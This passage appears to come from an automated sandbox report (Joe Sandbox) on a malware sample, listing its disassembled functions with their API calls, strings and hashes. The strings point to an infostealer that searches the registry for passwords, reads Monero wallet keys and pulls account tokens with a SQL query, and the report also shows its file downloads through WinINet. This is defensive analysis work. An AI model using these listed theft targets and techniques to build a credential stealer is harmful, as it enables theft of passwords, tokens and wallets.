Part of subcall function 001FA740: lstrcpy.KERNEL32(00200E17,00000000), ref: 001FA788

Strings

:, xrefs: 001F755C
, xrefs: 001F764D, 001F7655, 001F761B, 001F7623
C, xrefs: 001F754C
\, xrefs: 001F7560

Memory Dump Source

Source File: 00000000.00000002.2358523011.00000000001E1000.00000040.00000001.01000000.00000003.sdmp, Offset: 001E0000, based on PE: true

Associated: 00000000.00000002.2358248663.00000000001E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.000000000023A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.0000000000265000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.0000000000268000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.000000000026F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.0000000000272000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.0000000000291000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.000000000029D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.00000000002C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.00000000002CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.00000000002EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.00000000002FB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.00000000002FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.0000000000385000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.00000000003A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.00000000003AB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360271664.000000000043E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360271664.00000000005CD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360271664.000000000069F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360271664.00000000006C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360271664.00000000006CC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360271664.00000000006DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2361166039.00000000006DC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2361277083.0000000000875000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2361296806.0000000000876000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1e0000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateDirectoryInformationProcessVolumeWindowslstrcpywsprintf
String ID: :$C$\$
API String ID: 1544550907-2840374103
Opcode ID: 98fee2b6f870d2a0c76187f22d0daa65c8fac18cd28f2d3f6e5e99f55fb138cf
Instruction ID: 3eff1c0ca4ec6eae77475dabb9aadc1cef08a4b0397afe0f5c5a87e4e1b5732c
Opcode Fuzzy Hash: 98fee2b6f870d2a0c76187f22d0daa65c8fac18cd28f2d3f6e5e99f55fb138cf
Instruction Fuzzy Hash: 9A4194B1D0424CABDF10DF94DC45BEEBBB8EF18714F100199F609A7280DB796A45CBA5

Function 001E75D0 Relevance: 15.8, APIs: 8, Strings: 1, Instructions: 91stringCOMMON

Download Yara Rule

APIs

Part of subcall function 001E72D0: RegOpenKeyExA.KERNEL32(80000001,?,00000000,00020019,?), ref: 001E733A
Part of subcall function 001E72D0: RegEnumValueA.ADVAPI32(?,00000000,00000000,000000FF,00000000,00000003,?,?), ref: 001E73B1
Part of subcall function 001E72D0: StrStrA.SHLWAPI(00000000,Password,00000000), ref: 001E740D
Part of subcall function 001E72D0: GetProcessHeap.KERNEL32(00000000,?), ref: 001E7452
Part of subcall function 001E72D0: HeapFree.KERNEL32(00000000), ref: 001E7459

lstrcat.KERNEL32(35BCD020,002017FC), ref: 001E7606
lstrcat.KERNEL32(35BCD020,00000000), ref: 001E7648
lstrcat.KERNEL32(35BCD020, : ), ref: 001E765A
lstrcat.KERNEL32(35BCD020,00000000), ref: 001E768F
lstrcat.KERNEL32(35BCD020,00201804), ref: 001E76A0
lstrcat.KERNEL32(35BCD020,00000000), ref: 001E76D3
lstrcat.KERNEL32(35BCD020,00201808), ref: 001E76ED
task.LIBCPMTD ref: 001E76FB

Strings

: , xrefs: 001E764E

Memory Dump Source

Source File: 00000000.00000002.2358523011.00000000001E1000.00000040.00000001.01000000.00000003.sdmp, Offset: 001E0000, based on PE: true

Associated: 00000000.00000002.2358248663.00000000001E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.000000000023A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.0000000000265000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.0000000000268000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.000000000026F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.0000000000272000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.0000000000291000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.000000000029D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.00000000002C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.00000000002CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.00000000002EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.00000000002FB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.00000000002FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.0000000000385000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.00000000003A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.00000000003AB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360271664.000000000043E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360271664.00000000005CD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360271664.000000000069F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360271664.00000000006C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360271664.00000000006CC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360271664.00000000006DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2361166039.00000000006DC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2361277083.0000000000875000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2361296806.0000000000876000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1e0000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$Heap$EnumFreeOpenProcessValuetask
String ID: :
API String ID: 2677904052-3653984579
Opcode ID: 07474b5e2eca1f682f9363d8c59aad8486699b660ead7bde82c81332d1880c82
Instruction ID: be4d2f988329f0eba67ec6d6f90182198c2b4d8008976d95c740efe158bec969
Opcode Fuzzy Hash: 07474b5e2eca1f682f9363d8c59aad8486699b660ead7bde82c81332d1880c82
Instruction Fuzzy Hash: 7931AC71A00509DFDB18FBB6DC85DFE7378BB58301B544128F502A7291CB34A953CB55

Function 001F8100 Relevance: 14.1, APIs: 6, Strings: 2, Instructions: 67memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,?,00000000,00000000,?,011DD940,00000000,?,00200E2C,00000000,?,00000000), ref: 001F8130
RtlAllocateHeap.NTDLL(00000000), ref: 001F8137
GlobalMemoryStatusEx.KERNEL32(00000040,00000040,00000000), ref: 001F8158
__aulldiv.LIBCMT ref: 001F8172
__aulldiv.LIBCMT ref: 001F8180
wsprintfA.USER32 ref: 001F81AC

Strings

%d MB, xrefs: 001F81A3
@, xrefs: 001F814D

Memory Dump Source

Source File: 00000000.00000002.2358523011.00000000001E1000.00000040.00000001.01000000.00000003.sdmp, Offset: 001E0000, based on PE: true

Associated: 00000000.00000002.2358248663.00000000001E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.000000000023A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.0000000000265000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.0000000000268000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.000000000026F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.0000000000272000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.0000000000291000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.000000000029D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.00000000002C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.00000000002CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.00000000002EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.00000000002FB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.00000000002FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.0000000000385000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.00000000003A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.00000000003AB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360271664.000000000043E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360271664.00000000005CD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360271664.000000000069F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360271664.00000000006C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360271664.00000000006CC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360271664.00000000006DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2361166039.00000000006DC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2361277083.0000000000875000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2361296806.0000000000876000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1e0000_file.jbxd

Yara matches

Similarity

API ID: Heap__aulldiv$AllocateGlobalMemoryProcessStatuswsprintf
String ID: %d MB$@
API String ID: 2774356765-3474575989
Opcode ID: 4b4c0542458f365306262692133d7fa9f2651c780d1b79b8ad9ec7c5b85c79fd
Instruction ID: 434ac2046753cc92901e3168e3b78ec87dc73aea4ea8671aec8ad26c74b5236f
Opcode Fuzzy Hash: 4b4c0542458f365306262692133d7fa9f2651c780d1b79b8ad9ec7c5b85c79fd
Instruction Fuzzy Hash: 132127B1A44208ABDB14DFD4DC49FBEB7B8FB44B00F104619F705AB280C77869018BA9

Function 001E60A0 Relevance: 13.6, APIs: 9, Instructions: 133networkfileCOMMON

Download Yara Rule

APIs

Part of subcall function 001FA7A0: lstrcpy.KERNEL32(?,00000000), ref: 001FA7E6

Part of subcall function 001E47B0: lstrlen.KERNEL32(00000000,00000000,0000003C), ref: 001E4839
Part of subcall function 001E47B0: InternetCrackUrlA.WININET(00000000,00000000), ref: 001E4849

InternetOpenA.WININET(00200DF7,00000001,00000000,00000000,00000000), ref: 001E610F
StrCmpCA.SHLWAPI(?,011DE3C0), ref: 001E6147
InternetOpenUrlA.WININET(00000000,00000000,00000000,00000000,00000100,00000000), ref: 001E618F
CreateFileA.KERNEL32(00000000,40000000,00000003,00000000,00000002,00000080,00000000), ref: 001E61B3
InternetReadFile.WININET(?,?,00000400,?), ref: 001E61DC
WriteFile.KERNEL32(?,?,00000000,?,00000000), ref: 001E620A
CloseHandle.KERNEL32(?,?,00000400), ref: 001E6249
InternetCloseHandle.WININET(?), ref: 001E6253
InternetCloseHandle.WININET(00000000), ref: 001E6260

Memory Dump Source

Source File: 00000000.00000002.2358523011.00000000001E1000.00000040.00000001.01000000.00000003.sdmp, Offset: 001E0000, based on PE: true

Associated: 00000000.00000002.2358248663.00000000001E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.000000000023A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.0000000000265000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.0000000000268000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.000000000026F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.0000000000272000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.0000000000291000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.000000000029D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.00000000002C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.00000000002CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.00000000002EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.00000000002FB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.00000000002FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.0000000000385000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.00000000003A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.00000000003AB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360271664.000000000043E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360271664.00000000005CD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360271664.000000000069F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360271664.00000000006C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360271664.00000000006CC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360271664.00000000006DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2361166039.00000000006DC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2361277083.0000000000875000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2361296806.0000000000876000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1e0000_file.jbxd

Yara matches

Similarity

API ID: Internet$CloseFileHandle$Open$CrackCreateReadWritelstrcpylstrlen
String ID:
API String ID: 2507841554-0
Opcode ID: 8e921b5030568ba8f5be5eba46bd26ce51298c6d8d28a79ad03eda161d8070f6
Instruction ID: 2595ecda12191a0f410132661acfc593cc05685937b4d55ffa46faa87991967c
Opcode Fuzzy Hash: 8e921b5030568ba8f5be5eba46bd26ce51298c6d8d28a79ad03eda161d8070f6
Instruction Fuzzy Hash: 5D5192B0A40209ABDB20DF51DC45BEE77B8FF54741F9080A8B709A71C0DB74AA85CF99

Function 001E72D0 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 149registrymemoryCOMMON

Download Yara Rule

APIs

RegOpenKeyExA.KERNEL32(80000001,?,00000000,00020019,?), ref: 001E733A
RegEnumValueA.ADVAPI32(?,00000000,00000000,000000FF,00000000,00000003,?,?), ref: 001E73B1
StrStrA.SHLWAPI(00000000,Password,00000000), ref: 001E740D
GetProcessHeap.KERNEL32(00000000,?), ref: 001E7452
HeapFree.KERNEL32(00000000), ref: 001E7459
task.LIBCPMTD ref: 001E7555

Strings

Password, xrefs: 001E7401

Memory Dump Source

Source File: 00000000.00000002.2358523011.00000000001E1000.00000040.00000001.01000000.00000003.sdmp, Offset: 001E0000, based on PE: true

Associated: 00000000.00000002.2358248663.00000000001E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.000000000023A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.0000000000265000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.0000000000268000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.000000000026F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.0000000000272000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.0000000000291000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.000000000029D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.00000000002C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.00000000002CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.00000000002EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.00000000002FB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.00000000002FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.0000000000385000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.00000000003A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.00000000003AB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360271664.000000000043E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360271664.00000000005CD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360271664.000000000069F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360271664.00000000006C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360271664.00000000006CC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360271664.00000000006DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2361166039.00000000006DC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2361277083.0000000000875000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2361296806.0000000000876000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1e0000_file.jbxd

Yara matches

Similarity

API ID: Heap$EnumFreeOpenProcessValuetask
String ID: Password
API String ID: 775622407-3434357891
Opcode ID: b0dd5a659ef7a57c32581a9ab899b2e99085cf479588f6e7885d306daeb44dba
Instruction ID: bf8aff9d4ef0e924bb6823c6189ce20cdbde5502e8ed21e43e9fb4bace7bb665
Opcode Fuzzy Hash: b0dd5a659ef7a57c32581a9ab899b2e99085cf479588f6e7885d306daeb44dba
Instruction Fuzzy Hash: C6614CB59042AC9BDB24DB50DC45BEEB7B8BF54300F0081E9E649A6181EB705FC9CFA1

Function 001EBA80 Relevance: 12.3, APIs: 4, Strings: 4, Instructions: 284stringCOMMON

Download Yara Rule

APIs

Part of subcall function 001FA740: lstrcpy.KERNEL32(00200E17,00000000), ref: 001FA788

Part of subcall function 001FA9B0: lstrlen.KERNEL32(?,011D88D0,?,\Monero\wallet.keys,00200E17), ref: 001FA9C5
Part of subcall function 001FA9B0: lstrcpy.KERNEL32(00000000), ref: 001FAA04
Part of subcall function 001FA9B0: lstrcat.KERNEL32(00000000,00000000), ref: 001FAA12

Part of subcall function 001FA920: lstrcpy.KERNEL32(00000000,?), ref: 001FA972
Part of subcall function 001FA920: lstrcat.KERNEL32(00000000), ref: 001FA982

Part of subcall function 001FA8A0: lstrcpy.KERNEL32(?,00200E17), ref: 001FA905

Part of subcall function 001FA7A0: lstrcpy.KERNEL32(?,00000000), ref: 001FA7E6

lstrlen.KERNEL32(00000000), ref: 001EBC9F

Part of subcall function 001F8E30: LocalAlloc.KERNEL32(00000040,-00000001), ref: 001F8E52

StrStrA.SHLWAPI(00000000,AccountId), ref: 001EBCCD
lstrlen.KERNEL32(00000000), ref: 001EBDA5
lstrlen.KERNEL32(00000000), ref: 001EBDB9

Strings

AccountTokens, xrefs: 001EBABA
AccountTokens, xrefs: 001EBB49
AccountId, xrefs: 001EBCC4
SELECT service, encrypted_token FROM token_service, xrefs: 001EBBEB

Memory Dump Source

Source File: 00000000.00000002.2358523011.00000000001E1000.00000040.00000001.01000000.00000003.sdmp, Offset: 001E0000, based on PE: true

Associated: 00000000.00000002.2358248663.00000000001E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.000000000023A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.0000000000265000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.0000000000268000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.000000000026F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.0000000000272000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.0000000000291000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.000000000029D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.00000000002C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.00000000002CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.00000000002EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.00000000002FB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.00000000002FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.0000000000385000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.00000000003A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.00000000003AB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360271664.000000000043E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360271664.00000000005CD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360271664.000000000069F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360271664.00000000006C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360271664.00000000006CC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360271664.00000000006DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2361166039.00000000006DC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2361277083.0000000000875000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2361296806.0000000000876000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1e0000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrlen$lstrcat$AllocLocal
String ID: AccountId$AccountTokens$AccountTokens$SELECT service, encrypted_token FROM token_service
API String ID: 3073930149-1079375795
Opcode ID: 8b2bef95a8099697d13eb077a209a86772f32d9a892a11275c86c68d06c4c7b6
Instruction ID: a55b0b36158e2141933f4d04e080297335741679940ba32b125922ef336bdce1
Opcode Fuzzy Hash: 8b2bef95a8099697d13eb077a209a86772f32d9a892a11275c86c68d06c4c7b6
Instruction Fuzzy Hash: 5AB148B191010C9BDB14FBA0CC96DFE7378BF64301F844168F60AA7091EF786A59CB62

Function 001E4FB0 Relevance: 10.6, APIs: 7, Instructions: 83networkmemoryfileCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,05F5E0FF), ref: 001E4FCA
RtlAllocateHeap.NTDLL(00000000), ref: 001E4FD1
InternetOpenA.WININET(00200DDF,00000000,00000000,00000000,00000000), ref: 001E4FEA
InternetOpenUrlA.WININET(?,00000000,00000000,00000000,04000100,00000000), ref: 001E5011
InternetReadFile.WININET(?,?,00000400,00000000), ref: 001E5041
InternetCloseHandle.WININET(?), ref: 001E50B9
InternetCloseHandle.WININET(?), ref: 001E50C6

Memory Dump Source

Source File: 00000000.00000002.2358523011.00000000001E1000.00000040.00000001.01000000.00000003.sdmp, Offset: 001E0000, based on PE: true

Associated: 00000000.00000002.2358248663.00000000001E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.000000000023A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.0000000000265000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.0000000000268000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.000000000026F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.0000000000272000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.0000000000291000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.000000000029D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.00000000002C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.00000000002CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.00000000002EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.00000000002FB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.00000000002FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.0000000000385000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.00000000003A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.00000000003AB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360271664.000000000043E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360271664.00000000005CD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360271664.000000000069F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360271664.00000000006C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360271664.00000000006CC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360271664.00000000006DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2361166039.00000000006DC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2361277083.0000000000875000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2361296806.0000000000876000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1e0000_file.jbxd

Yara matches

Similarity

API ID: Internet$CloseHandleHeapOpen$AllocateFileProcessRead
String ID:
API String ID: 3066467675-0
Opcode ID: 69906d07a4ac6ea6cb161c1a432be4250fe836053b752f4bad0400bdddbdc678
Instruction ID: ea4a370c3d7862f5fb8ee2b68fee63a7d66de5c06fe1aa9f0fbfa24828c353b3
Opcode Fuzzy Hash: 69906d07a4ac6ea6cb161c1a432be4250fe836053b752f4bad0400bdddbdc678
Instruction Fuzzy Hash: AA31F5B4A40218ABDB24CF54DC85BDCB7B5EB48704F5081E9FB09A7281C7746AC68F9D

Function 001F83DC Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 64registrystringCOMMON

Download Yara Rule

APIs

RegEnumKeyExA.KERNEL32(00000000,00000000,?,00000400,00000000,00000000,00000000,00000000), ref: 001F8426
wsprintfA.USER32 ref: 001F8459
RegOpenKeyExA.KERNEL32(00000000,?,00000000,00020019,00000000), ref: 001F847B
RegCloseKey.ADVAPI32(00000000), ref: 001F848C
RegCloseKey.ADVAPI32(00000000), ref: 001F8499

Part of subcall function 001FA7A0: lstrcpy.KERNEL32(?,00000000), ref: 001FA7E6

RegQueryValueExA.KERNEL32(00000000,011DD8B0,00000000,000F003F,?,00000400), ref: 001F84EC
lstrlen.KERNEL32(?), ref: 001F8501
